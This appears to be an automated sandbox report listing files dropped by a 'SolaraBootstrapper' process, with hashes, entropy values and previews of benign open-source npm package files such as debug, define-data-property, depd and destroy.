Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6015
Entropy (8bit):	4.983354444087808
Encrypted:	false
SSDEEP:	96:2l2OYeMOqXfMWj7/UZIjh7X7QcYX82ue1jGVLE9RlbME6tCUXXuVTtAH1ReKLGH/:WAX3tJ7nYMu1jGVLE9RlbDECQoTtAHbC
MD5:	25807A97FBB1FCC42A013ABC7D7768C4
SHA1:	F24D52CBC9144B011DEF218234FF7B50E7DDCB19
SHA-256:	A3E83594A4CE88997E2E4FC66BC942B17B9D736290AD62560C7F09D6D0989AD0
SHA-512:	8D316B63700126D7C8965A886E9B35A332D3F7E68D28F2264D235C0AFAD28066F877F25821E1983DDDE5F2D5052716CC73338779B41B6F4D1B90AD33DC3E9F24
Malicious:	false
Preview:	/*. Module dependencies.. /..var tty = require('tty');.var util = require('util');../. This is the Node.js implementation of `debug()`.. . Expose `debug()` as the module.. /..exports = module.exports = require('./debug');.exports.init = init;.exports.log = log;.exports.formatArgs = formatArgs;.exports.save = save;.exports.load = load;.exports.useColors = useColors;../. Colors.. /..exports.colors = [6, 2, 3, 4, 5, 1];../. Build up the default `inspectOpts` object from the environment variables.. . $ DEBUG_COLORS=no DEBUG_DEPTH=10 DEBUG_SHOW_HIDDEN=enabled node script.js. */..exports.inspectOpts = Object.keys(process.env).filter(function (key) {. return /^debug_/i.test(key);.}).reduce(function (obj, key) {. // camel-case. var prop = key. .substring(6). .toLowerCase(). .replace(/_([a-z])/g, function (_, k) { return k.toUpperCase() });.. // coerce string value into JS value. var val = process.env[key];. if (/^(yes\|on\|true\|enabled)$/i.test(val)) val

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.630410182748324
Encrypted:	false
SSDEEP:	6:ExL0UxNSHGsHEL2pLL83sDlJbupsgAxxNHHWBs9QNSVLSIEsms4A:ErxNUkqlAuJSAxNHH2NHIUsX
MD5:	B3C9F2A7A4953F9012AAED328A8FBC0D
SHA1:	756B20295739F5031D17DE42E66D4EE5F61CDFAD
SHA-256:	500A324DB044702F9DF2AAE5901A2BB474F31424A06C580373C9C766B3F897E1
SHA-512:	C4AB5438E1692FFA74833B057514D37210AF346BF0C1761259BA6CF27F171B9A3580C17D30A6A8332FF62401FC3CF31FD47723910286D3563A5008BEBE39C6C2
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."complexity": 0,..."id-length": 0,..."new-cap": ["error", {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..},..."overrides": [...{...."files": "test/**",...."rules": {....."max-lines-per-function": "off",....},...},..],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	591
Entropy (8bit):	4.70311007120714
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMKAflgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgn8lg7g1GegJ9gEz4D
MD5:	E8DD0B9176D957930C0960CDE3F872EB
SHA1:	E121426BD6188CC578BC0369CEAA981C1D39B027
SHA-256:	DF75ED2445C3BD41CD33A86E496F4EC7E279DAB92D1A01E0CF58C1AE2A675209
SHA-512:	82315EC7AC1B6207834BDA2E509A4D03BD9E8043336AAB92AC1CF620815DA7FC19016F4F1AF3D6F906B4056815CC83D5C7A85453DF0ABD13640A71A98E13C616
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/define-data-property.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5390
Entropy (8bit):	5.287721000352198
Encrypted:	false
SSDEEP:	48:E5yEpdBPlfMkMIzncQY7pB09d2PbChEVwR6ozSex+GJ3M/HzAc6VVYcGvRd:E5yE3B9UI5epB0P+uPx+uC6VycGvRd
MD5:	ABC731C24C31F7E21E82B3930B596C26
SHA1:	C27E07B7E88045DC014F4FFC84FEFF4814344FE8
SHA-256:	505CFF21A498C2186D643EBA46DAC80C6D71E25CEFAFF156E24DD2AFE29E8924
SHA-512:	9B3006A24C328F3A2A062AA74D29D7CF4E1845DB42C2E64FF30D3EF09EBD5522B1C26034F7909B597762C4A440D3AC1D074FA7B05431401C9CD74DDBE1098BD3
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.1.4](https://github.com/ljharb/define-data-property/compare/v1.1.3...v1.1.4) - 2024-02-13..### Commits..- [Refactor] use `es-define-property` [`90f2f4c`](https://github.com/ljharb/define-data-property/commit/90f2f4cc20298401e71c28e1e08888db12021453).- [Dev Deps] update `@types/object.getownpropertydescriptors` [`cd929d9`](https://github.com/ljharb/define-data-property/commit/cd929d9a04f5f2fdcfa9d5be140940b91a083153)..## [v1.1.3](https://github.com/ljharb/define-data-property/compare/v1.1.2...v1.1.3) - 2024-02-12..### Commits..- [types] hand-write d.ts instead of emitting it [`0cbc988`](https://github.com/ljharb/define-data-property/commit/0cbc988203c105f2d97948327c7167ebd33bd318).- [meta] simplify `exports` [`690781e`](https://gith

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.101229758424099
Encrypted:	false
SSDEEP:	24:iPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:UsaJHlxE3dQHOs5exm3ogFh
MD5:	06AAE85028F50BA69E6F83B6C9402B26
SHA1:	0F6716ABCA917739D03B6BCD1B17C9D27FAE3141
SHA-256:	B41D08BC3624D8C436FC80237D73EBB361985A67F4504BBCD703E5CA2B27254C
SHA-512:	F420962873B201CA1B413F9F3ED9A2AB6176FB192B2160FEE0C42C8690396A010629D2C0FA3090DCBA4E7FB2AA5364E6AF32DAF00A2870C78EB3EFC0C66A6205
Malicious:	false
Preview:	MIT License..Copyright (c) 2023 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2431
Entropy (8bit):	5.044823356747143
Encrypted:	false
SSDEEP:	48:B1eI4I7qlMwcTNmAnMnn5KlK5c0Wc6FsJIL0IRIDv:LXFelMvTnMnn5KlK5c1Lxuz
MD5:	E1B5204A9C537870BB43DF7C59903F59
SHA1:	DCD48565637E619379E97FCF5E5DAB8C15A41F28
SHA-256:	72DDFA32F732F61479CFB34852CB0F57162BC3037A97BF812C4E42679B3FF0B9
SHA-512:	8737FD203C91CBEC368BD4F8C15E79987D3FB2A6C4C0F55C4643E5308D148FADFD3611C15C19139A8AB98685E50E4CF2D7D17FB043EC157A8561F259CA9369B7
Malicious:	false
Preview:	# define-data-property <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Define a data property on an object. Will fall back to assignment in an engine without descriptors...The three `non*` argument can also be passed `null`, which will use the existing state if available...The `loose` argument will mean that if you attempt to set a non-normal data property, in an environment without descriptor support, it will fall back to normal assignment...## Usage..```javascript.var defineDataProperty = require('define-data-property');.var assert = require('assert');..var obj = {};.defineDataProperty(obj, 'key', 'value');.defineDataProperty(..obj,..'key2',..'value',..true, // nonEnumerable, optional..false, // nonWritable, optional..true, // nonConfigurable, optional

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	4.501953568827184
Encrypted:	false
SSDEEP:	6:X2o1DnvffMjRhAfAIH0jCJ5cH2fcJ5cH2hnvJ5cHzqjMRdiiEo2:X2o1DfUjRGbZcBcScTvdiiEo2
MD5:	0D5B9889D2BB934DA5B34765E3B3910F
SHA1:	8DFD551E6DC0EE2FFA8F9946F061957F85A9AB44
SHA-256:	654404BEF397F9614F656D78D09C36D3EF38E005900CEA77C8BEACF0EE1E8F07
SHA-512:	3FC87B252E2A626A6DD52EAA0776BD36C5C1C31CBAB581288509615C4FBBCD16C1B71D93687B8C0140B99047A73605CCC5C04870769A9C7BFEF67C45FCEB6CDE
Malicious:	false
Preview:	.declare function defineDataProperty(. obj: Record<PropertyKey, unknown>,. property: keyof typeof obj,. value: typeof obj[typeof property],. nonEnumerable?: boolean \| null,. nonWritable?: boolean \| null,. nonConfigurable?: boolean \| null,. loose?: boolean.): void;..export = defineDataProperty;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	5.066283915153754
Encrypted:	false
SSDEEP:	48:zSBpOmcmZuYZye6iY4XS4+YuG+72c42itF6IrXWQhQzx2NOj4k:zqpNcmZublv78p0pAHhWIu
MD5:	92D50385CB04E9BBA48103D21A4A08DD
SHA1:	137BB6B7B4E8AEDE40825F23805CB8B8DC3EAB4E
SHA-256:	E34746E8C69BBF6BA2182B7362E9C4DC5FB3C19CACE48091781AE967370BC065
SHA-512:	DC291A9457CFFC5F6EB39694FD91C72877502829BEF01B07DAD5DF47A11751B2910E1807D52842FAD38D8B8309EB6D8207C042CE705A211866717695B6D6D1BE
Malicious:	false
Preview:	'use strict';..var $defineProperty = require('es-define-property');..var $SyntaxError = require('es-errors/syntax');.var $TypeError = require('es-errors/type');..var gopd = require('gopd');../** @type {import('.')} */.module.exports = function defineDataProperty(..obj,..property,..value.) {..if (!obj \|\| (typeof obj !== 'object' && typeof obj !== 'function')) {...throw new $TypeError('`obj` must be an object or a function`');..}..if (typeof property !== 'string' && typeof property !== 'symbol') {...throw new $TypeError('`property` must be a string or a symbol`');..}..if (arguments.length > 3 && typeof arguments[3] !== 'boolean' && arguments[3] !== null) {...throw new $TypeError('`nonEnumerable`, if provided, must be a boolean or null');..}..if (arguments.length > 4 && typeof arguments[4] !== 'boolean' && arguments[4] !== null) {...throw new $TypeError('`nonWritable`, if provided, must be a boolean or null');..}..if (arguments.length > 5 && typeof arguments[5] !== 'boolean' && arguments[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2856
Entropy (8bit):	5.098300314042864
Encrypted:	false
SSDEEP:	48:/OVkmRYCZUPagS4E0fSyRYsEg448rvsdl5yKQcbf4OS7yKBflmeSowVf4:yk1CSLI34QAkf0e6f4
MD5:	05B9BA4536B59B74C4B3C95327787004
SHA1:	C9384AA894159EE96E107CDD3002915849FC91FC
SHA-256:	BDE7F1465B344A24DA2B10D2EE99F87EDF8E0ECD177C28370B60AD9595DE730E
SHA-512:	4B81BBD31FD5DDCE528FB0EBCEFBBDA77891F124F7FAB9019C5FF1BDDDDAFBB679B5E3D131A94C02B495E47327985FA5ECC613F7A2A109E58F5994B358FC3B0E
Malicious:	false
Preview:	{.."name": "define-data-property",.."version": "1.1.4",.."description": "Define a data property on an object. Will fall back to assignment in an engine without descriptors.",.."main": "index.js",.."types": "./index.d.ts",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."tsc": "tsc -p .",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "npm run tsc",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository":

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10471
Entropy (8bit):	4.936553164721052
Encrypted:	false
SSDEEP:	192:OG6xzFuMZ/9p9wOZaOdqOZaOZpOZaqZSVEBxOZWOQ2OZDrZQXEXwc8OQ2OZDrZxu:OjbrwOZaOdqOZaOZpOZaqZSVEBxOZWOS
MD5:	0D1FABE33CA02B061AE2420E62C46059
SHA1:	B2BCAA3BAF27733B105784766E8A68D7394BE260
SHA-256:	DB68BC8E54487D027C9699F4B6DF2DF865386DE6F2B738619C7C6431C919767D
SHA-512:	4D5D626FDB0B3FCCC183896C7D74DC31070404BA6F311666CADFB3325FF2F07980D942BC7A59BC74CD3BEFF97C4C1FE2EE42846C2DA5AED3BD107FC78B96776D
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var v = require('es-value-fixtures');.var forEach = require('for-each');.var inspect = require('object-inspect');.var hasOwn = require('hasown');.var hasPropertyDescriptors = require('has-property-descriptors')();.var getOwnPropertyDescriptors = require('object.getownpropertydescriptors');.var ownKeys = require('reflect.ownkeys');..var defineDataProperty = require('../');..test('defineDataProperty', function (t) {..t.test('argument validation', function (st) {...forEach(v.primitives, function (nonObject) {....st['throws'](.....// @ts-expect-error.....function () { defineDataProperty(nonObject, 'key', 'value'); },.....TypeError,.....'throws on non-object input: ' + inspect(nonObject)....);...});....forEach(v.nonPropertyKeys, function (nonPropertyKey) {....st['throws'](.....// @ts-expect-error.....function () { defineDataProperty({}, nonPropertyKey, 'value'); },.....TypeError,.....'throws on non-PropertyKey input: ' + inspect(nonPropertyKey)....

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\define-data-property\tsconfig.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4883
Entropy (8bit):	4.172078287396977
Encrypted:	false
SSDEEP:	48:x80urTY8LBtkyo/8iDloqIcofiBvLz5WHDo30TpGipPTlPM8CndZDHmIFgGneDw9:BaB28yoqKKUH0kwWx26fGnobNY8vG
MD5:	A544F506AD2051F95D01D7F50D55A325
SHA1:	D32C092355606EB003FCBFDE330DFF29B721F085
SHA-256:	DF4B3B4BCC4F4A716F64EAA22530AD895E244489474D1583E866F5FD26EFE462
SHA-512:	8A87769E2C4249226E8AAD658CC858D488CC7D3029E5F6BF81683B701B30185E65D2D014400912D8CA68149E11FC957D56428A34F5DB07A96D5A6F17512A2853
Malicious:	false
Preview:	{. "compilerOptions": {. /* Visit https://aka.ms/tsconfig to read more about this file /.. / Projects /.. / Language and Environment /. "target": "es2022", / Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /. // "lib": [], / Specify a set of bundled library declaration files that describe the target runtime environment. /. // "noLib": true, / Disable including any library files, including the default lib.d.ts. /. "useDefineForClassFields": true, / Emit ECMAScript-standard-compliant class fields. /. // "moduleDetection": "auto", / Control what method is used to detect module-format JS files. /.. / Modules /. "module": "commonjs", / Specify what module code is generated. */. // "rootDir": "./",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\History.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2256
Entropy (8bit):	4.872108132358601
Encrypted:	false
SSDEEP:	48:xKGtcLOw2ASadyecxIVkv6SHZ4OQfFrFnSFFYTStU6fAhZUf:xoLgxaUh6NsFC6Msf
MD5:	0B39750CFDC98026919E4F2C3DCAE105
SHA1:	5C540DDAA04F4314090D7FB74B552789F9591551
SHA-256:	B6E94899B155A3F707694B8CED212E1B01F43D0953D89E1C5B718B3E5FB896FA
SHA-512:	B9BC50183B3637F478CBB78B1D88FDAC76C296CDC73C8829610AC99C3168239E24226C82688458EDAD598725255E413F05B42DD7FA1A25F41B5D41AD95E7702D
Malicious:	false
Preview:	2.0.0 / 2018-10-26.==================.. * Drop support for Node.js 0.6. * Replace internal `eval` usage with `Function` constructor. * Use instance methods on `process` to check for listeners..1.1.2 / 2018-01-11.==================.. * perf: remove argument reassignment. * Support Node.js 0.6 to 9.x..1.1.1 / 2017-07-27.==================.. * Remove unnecessary `Buffer` loading. * Support Node.js 0.6 to 8.x..1.1.0 / 2015-09-14.==================.. * Enable strict mode in more places. * Support io.js 3.x. * Support io.js 2.x. * Support web browser loading. - Requires bundler like Browserify or webpack..1.0.1 / 2015-04-07.==================.. * Fix `TypeError`s when under `'use strict'` code. * Fix useless type name on auto-generated messages. * Support io.js 1.x. * Support Node.js 0.12..1.0.0 / 2014-09-17.==================.. * No changes..0.4.5 / 2014-09-09.==================.. * Improve call speed to functions using the function wrapper. * Support Node.js 0.6..0.4.4

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:NiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:NiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	EBC30494FD072DC98368DA73E1821715
SHA1:	B1FC406040905BBDC79A2E9187BC58AA4BBE9774
SHA-256:	BD134B41DA59E452FB5A1D366B660886F741C87C2BF9428E93764C419FBC40F5
SHA-512:	175596609C91767A101D6B1051DE91563695B92245B5C4BD0A2BA4CC24EF28F0480EA2275878E566FC08D203D182545F7CC7EBFB08966CBA6BABED5112EDDBBD
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2018 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\Readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	9988
Entropy (8bit):	4.803049496208353
Encrypted:	false
SSDEEP:	192:pC3g93tCl7wTGdJfXkSCbkIwtN49jTgokqtEnKwGqM0J5GcTYGphchGvna:KM960TGAS/IwtN49jTgoksEnKwq0J5M9
MD5:	42D9D887A8CCE3B2AB9C8DA4FAED33E3
SHA1:	DEE99FAB95A6441191C709B010BABB1A7015B575
SHA-256:	11DEB26EAFA25A465FFB8A8E3C28195EB40E679FDA52B760132DBE9C9B21FB5C
SHA-512:	D9B07553C1C5FC505732D1435B81ACCBFE5D164728FD0C7EA0E179582BC6F4FB9DA7047E119468E6431903DDA8564D4A26608CDFAB5E2F7344D2F56A25B021AD
Malicious:	false
Preview:	# depd..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Linux Build][travis-image]][travis-url].[![Windows Build][appveyor-image]][appveyor-url].[![Coverage Status][coveralls-image]][coveralls-url]..Deprecate all the things..> With great modules comes great responsibility; mark things deprecated!..## Install..This module is installed directly using `npm`:..```sh.$ npm install depd.```..This module can also be bundled with systems like.[Browserify](http://browserify.org/) or [webpack](https://webpack.github.io/),.though by default this module will alter it's API to no longer display or.track deprecations...## API.. eslint-disable no-unused-vars -->..```js.var deprecate = require('depd')('my-module').```..This library allows you to display deprecation messages to your users..This library goes above and beyond with deprecation warnings by.introspection of the call stack (but only the bits that

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10932
Entropy (8bit):	4.779926082102364
Encrypted:	false
SSDEEP:	192:vpe1221Fdc5jXmXUApvcvcBGtXY/KQYbUY/rRgrNoYo8GVHXWVhVO:vpe191Lc5G0k//YsNIVHXWVhVO
MD5:	002A1F3E813CC05D9E3CC011F6601628
SHA1:	1690C27457637EC234D6B7658F1B96E547A0EB99
SHA-256:	4D587A5662E20A7BB9BFE6555AFE5987E1B80303A819B447394F37A93297EE91
SHA-512:	EA1AD9BCF09A73A10DD1FD8A66DAAC12F87725E16AD27E7BEFF6D9FDA937579976CD5D7ED6439C4122B16178C3FFDF410D6C7A54918F94BC98FA7950ADF3BD54
Malicious:	false
Preview:	/!. depd. * Copyright(c) 2014-2018 Douglas Christopher Wilson. * MIT Licensed. /../. Module dependencies.. /..var relative = require('path').relative../. Module exports.. /..module.exports = depd../. Get the path to base files on.. /..var basePath = process.cwd()../. Determine if namespace is contained in the string.. /..function containsNamespace (str, namespace) {. var vals = str.split(/[ ,]+/). var ns = String(namespace).toLowerCase().. for (var i = 0; i < vals.length; i++) {. var val = vals[i].. // namespace contained. if (val && (val === '' \|\| val.toLowerCase() === ns)) {. return true. }. }.. return false.}../*. Convert a data descriptor to accessor descriptor.. */..function convertDataDescriptorToAccessor (obj, prop, message) {. var descriptor = Object.getOwnPropertyDescriptor(obj, prop). var value = descriptor.value.. descriptor.get = function getter () { return value }.. if (descriptor.writable) {. descriptor.set = functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\lib\browser\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1512
Entropy (8bit):	4.711096243724832
Encrypted:	false
SSDEEP:	24:6+kpAtB8dDl1AQGkeAfaTOM2WKmbzTPJoFCWZ4aMY4rZCsCWZ4aM8J/cZyC5HnrC:/kG2dD3HaThlKaJodZDMY4rZCQZDM8J7
MD5:	5B958F39DF1DF069739CCD3765BAD0DE
SHA1:	C010F754ECD1E959F6BACAC10E976BEE24C215A0
SHA-256:	10B4D4A4E9D14E9E6A5AB7CED64405EF90E6BEC94D479A8E223CBBA88828AD79
SHA-512:	5848B28DDAAC1AF95D658D110AE8C18D309044206B066C575705E0F8B75F4A918FE692E5F90BBA6FE2B1C4EF8344C7096C4F7E2CE87F7FB1537B55E0489D75B3
Malicious:	false
Preview:	/!. depd. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = depd../. Create deprecate for namespace in caller.. /..function depd (namespace) {. if (!namespace) {. throw new TypeError('argument namespace is required'). }.. function deprecate (message) {. // no-op in browser. }.. deprecate._file = undefined. deprecate._ignored = true. deprecate._namespace = namespace. deprecate._traced = false. deprecate._warned = Object.create(null).. deprecate.function = wrapfunction. deprecate.property = wrapproperty.. return deprecate.}../. Return a wrapped function in a deprecation message.. . This is a no-op version of the wrapper, which does nothing but call. * validation.. /..function wrapfunction (fn, message) {. if (typeof fn !== 'function') {. throw new TypeError('argument fn must be a function'). }.. return fn.}../. Wrap property in a deprecation message.. . T

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\depd\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.797072283263959
Encrypted:	false
SSDEEP:	24:SI411vNmW65tug6YvnZ/dWzrNtn6T+l6oOUr5g/xlr4QagRxf:SIIEt5tug6YvnVczrX0+woOUr5mNaS
MD5:	7F0A9D228C79F0EE4B89FC6117F1C687
SHA1:	3C10082C1464A6F589AA10CDA88285E780EBF857
SHA-256:	5A3659BCC2E47B25EBF9F23F38EB9452A58920BFE4B59410BFA6FE84639A3B99
SHA-512:	7BDD7259BCB8D79AA41777F03D3A3F8A29B60C2D25104072EDBA9FEBEB813E12EF78D31573637702DECDDBAA97D8FEC263BC413BD27DD660DED17D644458CBC2
Malicious:	false
Preview:	{. "name": "depd",. "description": "Deprecate all the things",. "version": "2.0.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "deprecate",. "deprecated". ],. "repository": "dougwilson/nodejs-depd",. "browser": "lib/browser/index.js",. "devDependencies": {. "benchmark": "2.1.4",. "beautify-benchmark": "0.2.4",. "eslint": "5.7.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-import": "2.14.0",. "eslint-plugin-markdown": "1.0.0-beta.7",. "eslint-plugin-node": "7.0.1",. "eslint-plugin-promise": "4.0.1",. "eslint-plugin-standard": "4.0.0",. "istanbul": "0.4.5",. "mocha": "5.2.0",. "safe-buffer": "5.1.2",. "uid-safe": "2.1.5". },. "files": [. "lib/",. "History.md",. "LICENSE",. "index.js",. "Readme.md". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint --plugin markdown --ext js,md .",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\destroy\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	5.171834503291163
Encrypted:	false
SSDEEP:	24:8FMpJrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMpJaJHlxE35QHOs5exm3ogF5n
MD5:	D5EB22CF6CC99E645B98B28EE3503DDF
SHA1:	E87DACBBEBE82F47B02F82971414682C03560373
SHA-256:	FFE370C8785B0B688D954977CE8DC52E19E5F17962CC5F80009C85EBA4925D56
SHA-512:	EBC01C095571F7C89F87D4164E82B0EC7E441113EEAB25D6FC242B928E96497C7E5DD5034ED12C776B660B957526DA5F9675AD32DE3E432861215CB8B37649CE
Malicious:	false
